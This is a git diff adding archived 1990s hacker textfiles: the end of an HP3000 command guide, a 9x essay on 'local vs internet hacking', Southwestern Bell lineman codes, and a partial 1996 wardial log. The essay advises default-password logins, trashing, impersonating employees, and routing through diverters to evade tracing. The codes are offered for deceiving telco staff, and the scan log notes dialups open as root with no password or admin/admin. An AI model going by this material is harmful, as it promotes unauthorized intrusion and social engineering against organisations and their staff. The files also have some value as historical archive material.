BRWXL BUILDINT BULDACCT CATALOG CATTUTIL +CCMSGCAT CDCAT CDMGR CDMGRSKT CDSERVER CDSRVSKT +CDSTARTJ CDSTOPJ CEUDCS CHRDEF01 CHRDEF02 CHRDEF03 +CHRDEF04 CHRDEF06 CHRDEF51 CHRDEF56 CHRDEF61 CHRDEF66 +CI CICAT CICATERR CKINST CLS1 CMSTORE +COB74XL COB74XLG COB74XLK COB85XL COB85XLG COB85XLK +COBCAT COBCNTL COBEDIT COBMAC COBOL COBOL85 +COBOLII COBUDC COMMA + + LISTF @.@ Lists all the files in every group on your account. + + LISTF @.@.@ Lists ALL files in every group on the system + *If you are in a rush for time dont use the above command. + + LISTF @.., -1 Lists a specific users files. + + LISTF @.@.@,2 Lists all files on system with group and account name. + + DSCOPY .. to .. + ^ Copies files from one account to another. + + PURGE .. Delites a file. + + RENAME ..,.. + ^ Renames a file. + + RUN .. Runs a file. + + EDITOR + + Case in point: + +:EDITOR +HP32201A.09.00 EDIT/3000 FRI, JUL 5, 1996, 5:01 AM +(C) HEWLETT-PACKARD CO. 1993 +/ +/END +: + + Just type "END" to leave the editor. + + To download use :DOWNLOAD , +*Refer back to SHOWDEV to figure out which device to use on the system. + + #Other useful and not so useful commands# + +SHOWCATALOG = This command will show commands unique to that system. + +Case in point: + +:SHOWCATALOG +SYSUDC5.UDC.SYS + SPENTRY SYSTEM + EDIT SYSTEM + COBOLII SYSTEM + ED SYSTEM + KSAM SYSTEM + COBEDIT SYSTEM + SJ SYSTEM + FORMSPEC SYSTEM + ENTRY SYSTEM + SO SYSTEM + SM SYSTEM + FREE5 SYSTEM + SH SYSTEM + L SYSTEM + QUAD SYSTEM + MPEX SYSTEM + MPEXLOGON SYSTEM + QEDITOR SYSTEM + GOD SYSTEM + JOBMASTER SYSTEM + SJ SYSTEM + SJJ SYSTEM + SJS SYSTEM + QUIZ SYSTEM + QUIZR SYSTEM + CONVRPO SYSTEM + QUICK SYSTEM + COGHELP SYSTEM + PHINIT12 SYSTEM + PHSRVN SYSTEM + PHSRVS12 SYSTEM + PHSRVS SYSTEM + CVRPO12E SYSTEM + SETPOWERHOUSE SYSTEM + RESETPOWERHOUSE SYSTEM + PHRUNPROG SYSTEM + PHRUNINTERBASE SYSTEM + GBAK SYSTEM + GCSU SYSTEM + GDEF SYSTEM + GDSCSERVER SYSTEM + GDSRSERVER SYSTEM + GDSLOCKPRINT SYSTEM + GDSRELAY SYSTEM + GFIX SYSTEM + GLTJ SYSTEM + GPRE SYSTEM + GRST SYSTEM + GSEC SYSTEM + GSTAT SYSTEM + ISCINSTALL SYSTEM + QLI SYSTEM + SETINTERBASE SYSTEM + RESETINTERBASE SYSTEM + PLISTF SYSTEM + FINDDIR SYSTEM + FINDFILE SYSTEM + LISTDIR SYSTEM + DISCUSE SYSTEM + SH SYSTEM + HPMPETOHFS SYSTEM + HPLISTFCLEANUP SYSTEM + HPPARSEFEQ SYSTEM + + REPORT = Lists CPU allocation, disk allocation, disk volume, and +connect time for your group. + +Case in point: + +:REPORT + +ACCOUNT FILESPACE-SECTORS CPU-SECONDS CONNECT-MINUTES + /GROUP COUNT LIMIT COUNT LIMIT COUNT LIMIT +RJE 0 ** 2 ** 2 ** + /PUB 0 ** 2 ** 2 ** + + SHOWJOB = Lists all users and their group information along +with their session number and the availability to accept messages in +the form of QUIET for not being able to accept messages. + +Case in point: + +:SHOWJOB + +JOBNUM STATE IPRI JIN JLIST INTRODUCED JOB NAME + +#J11627 EXEC 10S LP FRI 1:11A GLPOSTJ,MGR.HPFAS +#J11625 EXEC 10S LP FRI 1:11A ARPOSTJ,MGR.HPFAS +#S9651 EXEC 302 302 FRI 1:19A LDEV220,PRINT.SPI +#S9650 EXEC 221 221 FRI 1:18A LDEV221,FORM1.SPI +#J11626 EXEC 10S LP FRI 1:11A APPOSTJ,MGR.HPFAS +#S9725 EXEC 116 16 FRI 9:30P MGR.RJE +#S8886 EXEC 20 20 FRI 10:20A CONSOLE,OPERATOR.SYS +#J11628 EXEC 10S LP FRI 1:11A MAXSTART,MGR.HPFAS +#S9652 EXEC 117 117 FRI 1:45A SPIM1.SPI +#S9656 EXEC 213 213 FRI 6:59A MIS,MGR.HPFAS +#S9701 EXEC 202 202 FRI 12:53P PRINT1.SPI +#S9721 EXEC 214 214 FRI 4:56P MSPENCE.SPI +#S923 EXEC 211 211 FRI 7:39P SUPV.SPI + +13 JOBS: + 0 INTRO + 0 WAIT; INCL 0 DEFERRED + 13 EXEC; INCL 9 SESSIONS + 0 SUSP +JOBFENCE= 7; JLIMIT= 8; SLIMIT= 30 + + +CURRENT: 6/28/96 21:44 + +JOBNUM STATE IPRI JIN JLIST SCHEDULED-INTRO JOB NAME + +#J11607 SCHED 8 10S LP 6/28/96 22:15 FOBACKUP,MGR.SPI +#J11602 SCHED 8 10S LP 6/28/96 23:27 PSI0560J,MGR.SPI +#J11603 SCHED 8 10S LP 6/28/96 23:30 CPMNT2AJ,MGR.SPI +#J11605 SCHED 8 10S LP 6/28/96 23:35 PSI0560J,MGR.SPI +#J11608 SCHED 8 10S LP 6/29/96 0:30 SPIOFF,MGR.SPI +#J11639 SCHED 8 10S LP 6/29/96 5:00 PSI0890,MGR.SPI +#J11642 SCHED 8 10S LP 6/29/96 7:00 SLHCHCKJ,MGR.SPI +#J11866 SCHED 8 10S LP 6/29/96 16:00 UOMCHCKJ,MGR.SPI +#J10694 SCHED 8 10S LP 6/29/96 17:00 CAPCHCKJ,MGR.SPI +#J11885 SCHED 8 10S LP 6/29/96 18:00 NEWPRCEJ,MGR.SPI +#J11886 SCHED 8 10S LP 6/29/96 19:30 ORDERSJ,MGR.SPI +#J11636 SCHED 1 10S LP 6/30/96 4:00 VENDLIST,MGR.HPFAS +#J11892 SCHED 1 10S LP 6/30/96 4:00 VENDLIST,MGR.HPFAS +#J10720 SCHED 8 10S LP 7/ 1/96 0:00 WEEKINV,MGR.SPI +#J6568 SCHED 8 10S LP 7/ 1/96 6:30 DOWNTBJ,MGR.SPI +#J11884 SCHED 1 10S LP 7/ 1/96 17:15 BPOSTAR,MGR.HPFAS +#J11889 SCHED 1 10S LP 7/ 1/96 20:00 BPOSTAP,MGR.HPFAS +#J11890 SCHED 1 10S LP 7/ 1/96 20:10 BPOSTGL,MGR.HPFAS +#J11891 SCHED 1 10S LP 7/ 5/96 20:15 AUDITRPJ,MGR.HPFAS + +19 SCHEDULED JOB(S) + + Commands that you wont want to use.. + +SHOWTIME Shows the current time. + +TELLOP Messages Operator. + +SETMSG ON/OFF Sets your availability to recieve messages. + +TELL ,.; Message Sends a message to someone signed on. + + #Logging off# + To log off just type BYE or EXIT at the prompt. You will then recieve +this logoff message.. + +:BYE + +CPU=43. Connect=33. SAT, JUN 29, 1996, 1:03 AM. + +NO CARRIER + + #Conclusion# + + I hope this file will spawn possible intrest once again in HP3000s +and the MPE Platform. HP will continue to support the MPE platform +for a very long time and with the extensive business software and +porting of unix to MPE systems you should expect to see these systems +for a few more decades. Greets to Black IC for his VESOFT write up +and to The Underground Consortium for their Hewlet Packard support. + diff --git a/textfiles.com/groups/9X/9x_style.txt b/textfiles.com/groups/9X/9x_style.txt new file mode 100644 index 00000000..da8d88e8 --- /dev/null +++ b/textfiles.com/groups/9X/9x_style.txt @@ -0,0 +1,100 @@ +STATION ID - 7091/6.411 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + + 9x is Substance, Schizo Man, Grampa Elite, and Firebug + + The Distro Sites + + Another Way of Life (518) + The Phantom Tollbooth (718) + +----------------------------------------------------------------------------- + + - Internet Hacking vs. Local Hacking - + - Writin in 1996 by Grampa Elite - + + + Here we go, i will try to as unbiased or whatever as possible because +I know some people prefer nethacking to localhacking or visa versa, so i'll +try to bring out the good and bad points of both areas of hacking. If you +think i missed something or forgot to add something important let me know. + + +3587198561297862709856787112157-LOCAL HACKING-7125612876512874512745217845149 + + + Local hacking apposed to nethacking is considerably easier for +instance, local systems arent usually that secure and probobly have some +default accounts with the default passwords still running. I have gotten +into many a local system using default login/password's. Or you can use a +cn/a to find out there address and go trashing wherever the system is at to +possibly find some valid login's. Or you can find there voice line and do +some social engineering which you can also do with systems on the internet. +For instance do some homework on who works there and find out when he leaves +and comes to work at whatever place it is another plus is to find out what +his voice sounds like, i can do just about anybodys voice except women's. +Then you call when he's not there and give them some bullshit story, and +don't try that line that zero cool gave that one guy working at gibson or +whatever the hell that company was in the movie hackers, because it aint +gunna happen. + But before you start breaking into systems you have to find them. +You can accomplish this by either scanning your whole area code or by doing +more social engineering and getting the dialup that way. But before you +start scanning your whole ac you better find out if you have unlimited +calling or if it has a limit and after that you pay a certain ammount per +call. A way to defeat this is to either get a unlimited calling thing for +your line, or hack your local switch (which is also local usually)and change +your line using rc commands or what have you. Local hacking other than x.25 +is what you want if you want to get into companys and shit instead of i-net +providers. You can also get to other systems by hacking locally, say you +hack into some sort of unix and you checkout there /etc/uucp/Systems file if +they have it and then you can CU to those systems or you can CU to some ld +bbs, its also good for a diverter which you will need when you hack locally +because it is alot more risky hacking locally if you dont have alot of +diverters or bounce it through some ld carriers or pbx's or whatever. It is +alot easier for people to trace you or fuck they could be running ani and you +could get busted or worse. In other words be carefull about what you are +doing, and who you are doing it to, this applies to all hacking, no matter +where or when there are some things you just don't do. + +3587198561297862709856787112-INTERNET HACKING-7125612876512874512745217342845 + + + Internet hacking is fun also because there are tons of systems out +there waiting to be broken into unlike local hacking where if you live in a +small city there aren't many systems. Although internet hacking isn't as +easy as local hacking because some systems have firewalls and have all there +bugs patched there are more ways to break into systems than local +hacking. Some people consider irc haxoring to be internet hacking, i don't. +Just because you have a script that you didnt even write that sends you +people's passwd files or adds your address to there .rhosts file doesnt mean +your a hacker (sorry had to get that out of my system, blah). Anyways, all +the exploits writin usually are for linux it seems so you are kind of +restricted to hacking linux unless you can find some way old version of SunOS +or if you find an Ultrix or sumthin stoopit. There is a program out there to +scan ip's but i havent used it yet so i don't know if its any good or what. +And of course there is the famous iP spoofing, whichis defeated if the system +you are attacking has a properly setup firewall or a secure router or what +have you. Some systems don't have there firewalls correctly installed so +they have some false sense of security until you break in. Although i-net +hacking isn't as risky as local hacking you can be traced no matter what you +think, you can be traced. And once they get your info your sunk because you +were probobly over state lines when they traced you and so they'll call in +the FBI which is not cool. + + So make your own decision try both to see which one you like the best +or the one you think works the most with you, one has more systems and the +other is easier to hack, one has mostly small systems and the other has +mostly corporations and businesses. +----------------------------------------------------------------------------- diff --git a/textfiles.com/groups/9X/9x_swbtd.txt b/textfiles.com/groups/9X/9x_swbtd.txt new file mode 100644 index 00000000..05012235 --- /dev/null +++ b/textfiles.com/groups/9X/9x_swbtd.txt @@ -0,0 +1,381 @@ +STATION ID - 7091/6.411 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + + 9x is Substance, Schizo Man, Grampa Elite, Firebug, and Dave + + The Distro Sites + + Another Way of Life (518) + The Phantom Tollbooth (718) + +----------------------------------------------------------------------------- + + - A listing of South Western Bell Lineman Work Codes - + - Written by: Dave S.O.B. - + +I. Introduction + + Have you ever wanted to bullshit a telco. employee but you either +don't have the proper acronym or code that would help convince them? Well +here is, practicly, complete listing of all of the Disposition Codes that I +found on a trash run. Hope they come in hand for ya. + +II. Table of Contens + +I. Introduction +II. Table of Contens +III. Disposition Codes + +III. Dispostion Codes +[The following is an exact word for word type up] + +Dispostion Code 01XX - Station Set, Buisness Services: +This code applies to all troules located in TELCO-provided station set +equipment, including the mounting cord and handset cord, when used for OCS +classes of service. + +Disposition Code 02XX - Other Station Equipment, OSC Buisness Services +(or Public Services): +This code applies to all troubles in station equipment (other than station +sets) including switchboards, PBX systems, switching equipment on the +customer premises, etc. and to Public Services (COIN) station equipment. + +Dispostion Code 03XX - Station Wiring +0310 Premise Termination: Coin/Coinless +0370 Network Termination: Other +0371 Protector: Applies when trouble is located in a protective interface +0373 Network Interface: Applies when trouble is located in network interface +0375 Network Terminating Wire: Applies when trouble is located in the wire + between the protector/cable termination and the network interface of + demarcation +0378 Side Wall - Jumper missing +0379 Side Wall - Jumper wrong +0380 Drop Other +0381 Aerial-Paired: Applies to trouble located in one-pair aerial drop + service wire +0382 Aerial-Multiple: Applies to trouble located in multiple-paired aerial + drop service wire +0383 Buried Drop - Repaired Initial Dispatch: Applies to trouble located in + buried drop and total repaired on first dispatch +0384 Buried Drop - Temporary Places, No Recon: Applies to trouble located in + buried drop and a subsequent visit is not needed for drop retermination +0385 Buried Drop - Temporary Placed, Recon Required: Applies to trouble + located in buried drop and a subsequent visit is needed for drop + placement and recon. +0386 Drop, Left In: Applies to trouble located in a drop terminated to the + cable pair at a location other than that of the subscriber's +0387 Drop Reversed +0388 Buried Drop - Drop Not Buried: Applies when temporary drop is removed + and newly placed buried drop is reconned +0389 Temporary Drop Not Buried - Repaired: Applies to trouble located in the + temporary drop and it is repaired +0390 Network Miscellaneous Apparatus + +Disposition Code 04XX - Outside Plant +0401 Pair Transferred - Defective Pair Left: Applies when service is restored + by transferring the customer's service to a different cable pair and the + original defect is not corrected. +0402 Pair Cut Dead To The Field: Applies when service is restored by removing + faulted conductor bridge tap which has affected the custmoer's service + and the original defect is not corrected +0403 Pair Transposed: Applies when conductors are transposed between two or + more points to restore customer service and the original defect is not + corrected +0404 Defective Section/Temporary Drop Placed: Applies when trouble is located + and a drop is placed as a temporary cable between terminals. +0405 Defective Pair - Encapsulated Plant: Applies when trouble is + encapsulated plant and pair is not fixed +0407 Pair Transferred - No Defective Pair Left: Applies when service is + restored by transferring the customer's service to a different cable pair + (usually for record purposes) and no defective pair is involved (i.e., + pair left off cable transfer, telephone numer assigned on wrong pair). +0410 Cable Other: Applies when the trouble is fixed in the cable facility not + listed elsewhere +0411 Sheath: Applies when damaged cable sheath or turnplate must be repaired + to clear a trouble report +0412 Cut Cable: Applies when a cable has been cut or damaged and must be + repaired to clear trouble reports +0413 Wet Cable: Applies when a cable has gotten wet and must be dried and/or + cutaround to clear trouble reports +0416 Conductor: Applies when trouble is located in cable conductors, such as + defective insulation, etc. +0420 Closure/Splice Case: Applies when trouble is located in cable closures + and splice cases +0421 Temporary Closure: Applies to trouble located in temporary type closures +0423 Encapsulated: Applies to a trouble located within an encapsulated splice + or closure. Includes troubles resulting from a defect in material, + workmanship during construction, or maintenance activites of an + encapsulated splice +0426 Ready Access Splice Case: Applies to trouble found in a ready access + type splice case +0430 Terminal - Other: Applies to trouble found in a terminal not otherwise + listed +0431 Ready Access Terminal, All: Applies to trouble found in ready access + type terminals in aerial or buried plant +0433 Fixed Count Terminal, All: Applies when trouble is located in fixed + count terminal in aerial or buried plant +0436 Cross Box, RAI/SAI: Applies when trouble is located in a serving area + interface or FX box +0440 Wire/Dual Plant - Other: Applies when trouble is located in wire or dual + wire plant not elsewhere listed +0442 Open/Rural Wire: Applies when trouble is located in wire for + distribution, i.e., open wire, c-rurual wire, and d-underground wire +0470 Pair Gain System: Applies when trouble is located in the Remote Terminal + of the pair gain system +0471 Repeater Failure: Applies when trouble is located in the repeater of a + Pair Gain System +0472 Battery Failure: Applies when trouble is located in the battery of a + Pair Gain System +0473 Common Circuit Pack: Applies when trouble is located in the common + circuit pack of a Pair Gain System +0474 Channel Unit Exchange: Applies when trouble is located in the channel + unit (exchange type) +0475 Channel Unit Special: Applies when trouble is located in the channel + unit (special type) +0476 Routing: Applies when trouble is with the routing +0477 Rectifier Failure: Applies when trouble is caused by rectifier failure +0478 Wiring: Applies when trouble is caused by the wiring +0470 Commercial Power Failure: Applies when trouble is caused because of + commercial power failure +0480 Cable Miscellaneous/Other +0481 Pole/Guy/Anchor/Trench: Applies when a trouble is the result of a pole, + guy, anchor, route signs, or trench associated with outside plant +0483 Fiber Optics - All: Applies when a trouble is the result of conditions + associated with fiber optics + +Disposition Code 05XX - Central Office +0511 Common Equipment +0512 Linkage/Network/Grid +0513 Line Equipment +0514 Billing Equipment +0515 Trunk +0516 Public Service Trunk +0520 Translations - Other +0521 Generic Work Error +0522 Generic Program Error +0523 Parameter - Work Error +0524 Parameter - Document Error +0525 Line - Work Error +0526 Line - Document Error +0527 Network - Work Error +0528 Network - Document Error +0530 Intercept or Disconect Document Error +0531 MDF Cross-Connection Missing +0532 MDF Cross-Connection Broken +0533 MDF Cross-Connection Work Error +0534 MDF Cross-Connection Document Error +0535 Other Cross-Connection Work Error +0536 Other Cross-Connection Document Error +0537 Billing Cross-Connection Work Error +0538 Billing Cross-Connection Document Error +0539 Intercept or Disconnect Work Error +0540 Other Frame +0541 Defective or operated protector +0542 Missing Protection Device +0543 Reversing Device +0544 Terminal - Wire Clipping +0545 Terminal Connection +0546 Test Cord +0550 Other Power +0551 DC Power Equipment +0552 AC Power Equipment +0553 Ringer Plant +0554 Standy Emergency Power +0560 Miscellaneous Equipment - Other +0561 Radio System +0562 Line Testing Equipment +0563 Concentrator +0564 Range Extender - Applies when a report is the result of a defective + range extender +0565 Carrier System +0566 Automatic Message Acconting Recording Center +0580 Pair Gain System/RSS Other +0583 Common Circuit Pack +0584 Channel Unit Exchange +0585 Channel Unit Special +0586 Carrier Unit Replaced (AML/SLC-1) +0587 Power +0588 Wiring + +Disposition 06XX - Costumer Action +0600 Customer Action: Applies when a trouble report results from customer + error or misuse of features in conection with custom calling service + +Disposition 07XX - Test OK +0701 MC Retest Ok +0708 SCC Test Ok +0711 Test OK (Maintenance Center Use Only) +0715 Customer Cancel Original (CSB Use Only) +0717 Lead Test Ok +0720 Link Retest Ok +0730 Test OK TAN (Technician Use) +0747 Test OK (Front End Closeout) +0750 CSB Retest OK + +Disposition Code 08XX - Found OK - In +0800 Found OK - In + +Disposition Code 09XX - Found Ok - Out +0901 Found OK - Out, Non-Cable: Applies when trouble condition is determined + to be FOK between the serving terminal and the customer's side of the + protector/network interface +0910 Found Ok - Out, Cable: Applies when trouble condition is determined to + be FOK between the serving terminal and the field side of the central + office + +Disposition Code 10XX - Referred Out +1001 Referred Out: Applies when trouble reports are referred to other + Maintenance Centers, agencies or departments not normally involved in + the trouble clearing effort + +Disposition Code 12XX - Customer Provided Equipment +120X Voice Messaging Service +1201 Voice Messaging Service 0 All +121X Maintenance Contract (Inline/Inline Plus) +1210 Cord: Customer has maintance contract and a defective mouting cord was + replaced +1211 Loaner Set Provided: Applies to those customers with an inline+ + agreement, in which a loaner set is provided, or when the customer + chooses to buy the replacement set +1212 Inline Only - Set Troble: Applies to customer with a maintenance + agreement for IW only and the trouble is located in the set/equipment. + This code includes, but is not limited to receiver off hook, unplugged + sets, defective sets +1213 Non-Standard IW (Customer Repair): Applies when the customer has an + agreemen for standard IW maintenance; however, the trouble is located + in non-standard IW and the customer will repair. NO CHARGE +1214 Inside Wire: Applies to customers with an IW maintenance agreement and + the technician repairs the IW. NO CHARGE +1215 Non-Standard IW (Telco Replaced): Applies when the customer has a + maintenace contract for standard IW maintance; however, the trouble is + located in non-standard IW and the technician will repair. PREMISES + WORK CHARGE IS APPLICABLE +1217 No Access - Field Use: Applies on second no acces, no trouble is found + at the customer premise +1218 Inline/Inline Plus - Telco Fix Exceptions: Wire repair due to acts of + God, such as floods, earthquake, riot, gross negligence, willfull + damage/vandalism. Also wire that does not meet SWBT installation practice + technical standards, or is not in satisfactory condition +1219 Inline/Inline Plus - Customer Fix - Exceptions (See 1218 for exceptions) +122X CPE - Other (No Maintenance Contract) +1220 Radio Suppressor (Inline Customer): Applies when a radio suppressor is + placed to resolve the trouble +1221 Calling Party Hold: Applies when the trouble condition is a result of + calling party hold. NO CHARGE +1222 Set/Equipment: Applies when then trouble condition is determined by the + technician to be caused by the customer telephone set/equipment. No + maintenance agreement. A MAINTENANCE OF SERVICE CHARGE WILL APPLY +1223 CPE (IW/CPE) No Dispatch: Applies when trouble is tested, but is + determined to be in CPE via conversation with the customer and/or related tests. No repair dispatch is made. NO CHARGE +1225 Receiver Off Hook: Applies when trouble is tested when canot be located + in Telco facilities and the trouble report or service condition can be + attributed to a receiver off hook. MSC WILL APPLT +1226 Set Unplugged: Applies when trouble is tested which canot be located in + Telco facilities and the trouble report or service difficulty can be + attributed to unplugged CPE. MSG WILL APPLY +1227 Public Extension (SEMI): Applies when trouble is tested which cannot be + located in TELCO facilities and the trouble report or service condition + can be attributed to semi-public extension. Semi-pulic extension is + defined as a CPE instrument used as an extension on Telco provided coin + service. MSC WILL APPLY +1228 Private Coin Service: Applies when trouble is tested which cannot be + located in Telco facilities and the trouble report or service condition + can be attributed to private coin service. Private coin service is + defined as a coin instrument and associated wire provided by a non-Telco +1229 Cable Facilities (Not Telco Maintained): Applies when trouble is tested + which cannot be located in Telco facilities and the trouble report or + service condition can be attributed to CPE cable facility. MSC WILL APPLY +123X Intexchange Carrier +1231 Intexchange Carrier: Applies when trouble is tested which cannot be + located in Telco facilities or equipment and the services are provided + by an IC +124X Unauthorized CPE/Usage/Tariff Violation +1241 Dispatched trouble reports involving CPE that were installed under + Contract I/M services, and are within the warranty time period, should + be closed to disposition code 12410 Contract I/M services, CPE. The + disposition code 122X should not be used under these circumstances. NO + REPAIR CHARGE (MSR or RSC) or TIME SENSITIVE CHARGES APPLY +1242 Dispatched trouble reports involving inside wire within the warranty time + period of the Contract I/M Services contract between SWT/SWBT should be + closed to the appropriate disposition code 121X. Inside wire troubles + reported by Non-Inline and Non-Contract I/M Services customers should + continue to be closed to the appropriate disposition code 126X and + normal charges should apply. + +Disposition 12XX - Customer Provided Equipment +126X Time Senstive Work/Isolation/No Maintenance Contract +1261 Inside Wire - Telco Repair: Applies when trouble is tested which cannot + be located in Telco facilities and a trouble report or service condition + is attributed to the IW. The technician repairs the IW for an ADDITIONAL + CHARGE to the custoemer. (Time Sensitive - Repair Rates). +1262 Inside Wire - SNI Not Available Cust Fix (Non-Inline): Applies when + trouble is tested which cannot be located in Telco Facilities and the + trouble report is isolated to the customer's side of the protector. The + technician installs a Network Interface but does not repair the trouble +1263 Inside Wire - SNI Abailable - Cust Fix (Non-Inline): Applies when trouble + is tested which cannot be located in Telco facilities and a trouble + report or service condition is in attributed to the CPE. A Network + Interface is in place and the customer does the repair +1264 No Authorization/Customer Repair: Applies when trouble is tested which + cannot be located in Telco facilities and a trouble repor or serivce + condition can be attributed to CPIW. Premise access is obtained and + customer/customer's agent is unable to authorize repair charge. +1265 Military Facility: Apllies when trouble is isolated to I/W maintaned by + military maintenance personnel. +1266 NA for Non-Inline (Field Use) +1267 CPE - No Access Subscriber Follow-up (MC USE ONLY): Applies when trouble + cannot be located in Telco facilities and a trouble report or service + condition is attributed to the CPE. The technician does not have access + to the customer's premise, but a network interface is present. +1268 Warranty: Applies when trouble is tested which cannot be located in + Telco facilities but repair work is preformed by the technician within + 30 days of previous IW repair preformed by Telco. (Proof of warranty is + the costumer's responsibility). A SERVICE CHARGE IS NOT APPLICABLE +127X Administrative Reports - Do Not Bill +1275 Predictor/Scan/CPR: Applies when a trouble condition is detected by SCAN/ + PREDICTOR or Calling Party Report, a dispatch is made and no work is + preformed. The trouble condition is attributed to the CPE. (A SERVICE + CHARGE IS NOT APPLICABLE) +128X CSB Use Only +1281 Front End Close Out (Custoner Service Bureau Only): Apples when a + trouble report is determined to be caused by the CSB. The CSB will close + out this report with this disposition code. +Disposition Code 129X MOOSA (Maintance Center Use Only) +1291 MOOSA Error Corrections + +Disposition Code 13XX +1301 Other Departments - Telco +1302 Non Telco +1303 Wrong Number Reported +1325 Service Order Worked - Link +1326 Service Order Cancel/Delay +1327 Service Order Changes + +Disposition Code 20XX - Air Pressure +2010 Transducer +2011 Contactor +2012 Pressure Plug +2013 Air Flow Sensor +2014 Pipe +2015 Manifold or Tubing +2016 Dryers +2017 Air Bottles +2018 Fittings + +Disposition Code 30XX - Cable Location +3010 Patrols and Inspections +3011 Facility Located +3012 No Facilities In Area +----------------------------------------------------------------------------- + diff --git a/textfiles.com/groups/9X/9x_tf223.txt b/textfiles.com/groups/9X/9x_tf223.txt new file mode 100644 index 00000000..924dbc02 --- /dev/null +++ b/textfiles.com/groups/9X/9x_tf223.txt @@ -0,0 +1,120 @@ +STATION ID - 7091/6.411 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + +Scanned by Substance +D = Different Terminal Emulation +NC = No connect + [100 Carriers out of 10,000 Numbers] +(800)- +o7-May-96 o1:o2:25 223-5151 C: 96oo +o7-May-96 21:44:23 223-6175 C: 144o JMHC Communications Novell (nopass!) +o8-May-96 23:26:14 223-6932 C: 144o WestVaco Computer system. USERID? +o9-May-96 o1:o3:48 223-7213 C: 144o No password but cant read it +o9-May-96 o1:1o:57 223-1864 C: 144o D +o9-May-96 o1:29:37 223-4951 C: 144o D +o9-May-96 o2:oo:42 223-9879 C: 96oo AIX unix (login: root, passwd: (none)) +o9-May-96 o2:13:11 223-8844 C: 144o +o9-May-96 o4:o7:o4 223-8438 C: 144o +o9-May-96 o4:49:43 223-4735 C: 24oo +o9-May-96 o4:55:41 223-o894 C: 24oo +o9-May-96 o5:o1:o6 223-3646 C: 48oo D - Logon +o9-May-96 o5:4o:48 223-o5o2 C: 144o (e,7,1) Enter logical unit (lu 2) pw: +o9-May-96 o5:49:35 223-7515 C: -NC- +o9-May-96 o6:31:17 223-577o C: -NC- +o9-May-96 o6:34:16 223-4232 C: 96oo Shlumberger Industries Electrical BBS +o9-May-96 o6:5o:37 223-9918 C: 144o Enter Password: (3x) +o9-May-96 o7:o7:11 223-75o2 C: 24oo +o9-May-96 23:12:4o 223-3o47 C: 144o D +1o-May-96 oo:15:48 223-6393 C: 144o AIX unix (login: root, n/p) different +1o-May-96 oo:56:36 223-9o1o C: 144o DECServer (psupen) (DIALOUT w/pw :<) +1o-May-96 o1:22:17 223-1785 C: 96oo D +1o-May-96 o2:34:23 223-9976 C: 144o *** INTERLYNX 4ooR, Enter Device Type +1o-May-96 o3:o2:33 223-88o7 C: 144o D - Logon +1o-May-96 o3:o8:56 223-565o C: 144o +1o-May-96 o3:16:44 223-3656 C: 96oo Says 'Hello' echos *'s. then axs denied +1o-May-96 o4:19:44 223-2769 C: 144o D +1o-May-96 o5:32:44 223-2863 C: 24oo (e,7,1) (23) PLEASE SIGN-ON +1o-May-96 o5:42:34 223-464o C: 24oo +1o-May-96 22:53:46 223-5486 C: 144o Gives CCCC's +11-May-96 o1:39:36 223-51o5 C: 144o The College Board Connection + Please Enter User ID? + *** Invalid Logon, Retry +11-May-96 o3:27:o1 223-745o C: 144o +11-May-96 o3:58:1o 223-7585 C: 24oo Immediate Disconnect +11-May-96 o4:oo:2o 223-4871 C: 144o NetWare CONNECT - no Services available +11-May-96 o6:41:3o 223-5617 C: 24oo Immediate Disconnect +11-May-96 o7:14:24 223-8395 C: 96oo Enter login id: password: + ... Attempting Login ... + Failed +12-May-96 o2:49:46 223-677o C: 144o (e,7,1) D +12-May-96 o3:o6:3o 223-9979 C: 144o Ricwel Medical Evaluating. (logon+pw) +12-May-96 o3:12:55 223-31oo C: 144o +13-May-96 o1:o8:48 223-9559 C: 24oo D - Says {oPTSMOM D}A224 +13-May-96 o1:19:34 223-6522 C: 144o 3 #'s (with beep) +13-May-96 o1:39:21 223-7o44 C: 24oo +13-May-96 o4:o4:39 223-9o31 C: 24oo +13-May-96 o4:o5:o5 223-6738 C: 96oo D +13-May-96 o5:o6:53 223-2516 C: 96oo HP:UX unix +13-May-96 o6:26:42 223-3o69 C: 144o +13-May-96 o6:3o:26 223-6381 C: 96oo San Jose Netblazer +13-May-96 o6:38:42 223-3995 C: 144o +14-May-96 oo:27:36 223-2227 C: 144o VNU Info. Network (DECServer) +14-May-96 oo:48:43 223-5241 C: 144o unix +14-May-96 o1:52:oo 223-2251 C: 96oo Enter Password: [3x] +14-May-96 o2:35:41 223-24o6 C: 24oo (e,7,1) unix +14-May-96 o2:58:2o 223-1373 C: 144o Immediate Disconnect +14-May-96 o3:o4:45 223-5115 C: 144o Login > Enter Passcode +14-May-96 o4:o7:o6 223-5194 C: 144o User Name? Password Command? (admin/admin) + User Name: admin / Password: admin + says Command? 2 times, if you dont enter a valid command + on the second time, disconnect. dunno +14-May-96 o4:4o:39 223-9849 C: 144o D - Logon +14-May-96 o5:45:28 223-o336 C: 144o (e,7,1) D - lE4:liqzev +14-May-96 22:47:42 223-7477 C: 144o NC +14-May-96 23:1o:43 223-7981 C: 96oo +14-May-96 23:19:49 223-2683 C: 144o +14-May-96 23:23:o3 223-4191 C: 24oo +14-May-96 23:26:36 223-5163 C: 144o BBS - Enter submitter ID? +14-May-96 23:29:54 223-9168 C: 96oo ENTER CLASS/ENTER PASSWORD/UNASSIGNED +14-May-96 23:38:12 223-8315 C: 144o +14-May-96 23:44:o4 223-9881 C: 96oo NC +14-May-96 23:59:19 223-7891 C: 144o +15-May-96 o1:18:56 223-456o C: 96oo OLYMPIA AOS/VS +15-May-96 o1:3o:12 223-5441 C: 144o +15-May-96 o1:46:54 223-6276 C: 144o +15-May-96 o3:31:31 223-9671 C: 144o On disconnect +15-May-96 o4:58:o5 223-2188 